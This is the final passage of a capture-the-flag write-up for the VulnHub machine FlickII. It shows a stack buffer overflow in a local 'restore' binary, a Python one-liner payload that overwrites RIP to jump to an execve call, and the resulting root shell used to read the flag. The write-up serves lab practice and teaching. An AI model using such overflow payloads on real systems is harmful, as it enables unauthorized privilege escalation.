After looking at the source code of this method, if we can change the RIP to just before the execv call, we should be able to get a shell created for us. I believe the best place to drop in would be at 0x401f71, just as the SHELL_PATH variable is being placed on to the stack. The call we're looking at in ASM is essentially the below C code.

/* Exec the shell.  */
(void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);

To generate our payload, we can use Python, encoding the bits little endian.

python -c 'print "A"*72 + "\x71\x1f\x40"'

After providing the resulting string as our output directory, we are dropped into a shell, as root!

[sean@fII storage]$ /usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /home/sean/
Path is: /home/sean/
Enter the output directory: <payload>
Output directory is: <payload>
[root@fII storage]#

Time to get our flag!

[root@fII storage]# ls /root
flag
[root@fII storage]# cat /root/flag

  █████▒██▓     ██▓ ▄████▄   ██ ▄█▀ ██▓ ██▓
▓██   ▒▓██▒    ▓██▒▒██▀ ▀█   ██▄█▒ ▓██▒▓██▒
▒████ ░▒██░    ▒██▒▒▓█    ▄ ▓███▄░ ▒██▒▒██▒
░▓█▒  ░▒██░    ░██░▒▓▓▄ ▄██▒▓██ █▄ ░██░░██░
░▒█░   ░██████▒░██░▒ ▓███▀ ░▒██▒ █▄░██░░██░
 ▒ ░   ░ ▒░▓  ░░▓  ░ ░▒ ▒  ░▒ ▒▒ ▓▒░▓  ░▓  
 ░     ░ ░ ▒  ░ ▒ ░  ░  ▒   ░ ░▒ ▒░ ▒ ░ ▒ ░
 ░ ░     ░ ░    ▒ ░░        ░ ░░ ░  ▒ ░ ▒ ░
           ░  ░ ░  ░ ░      ░  ░    ░   ░  
                   ░                       

 You have successfully completed FlickII!

 I hope you learnt as much as I did while
 making it! Any comments/suggestions etc,
 feel free to catch me on freenode in
 #vulnhub or on twitter @leonjza

[root@fII storage]#

Conclusion

What an amazing challenge. The Android section was a really nice addition, as well as the binary side - elevation chain via multiple binaries and users.

Thanks @leonjza, and as always, thanks VulnHub!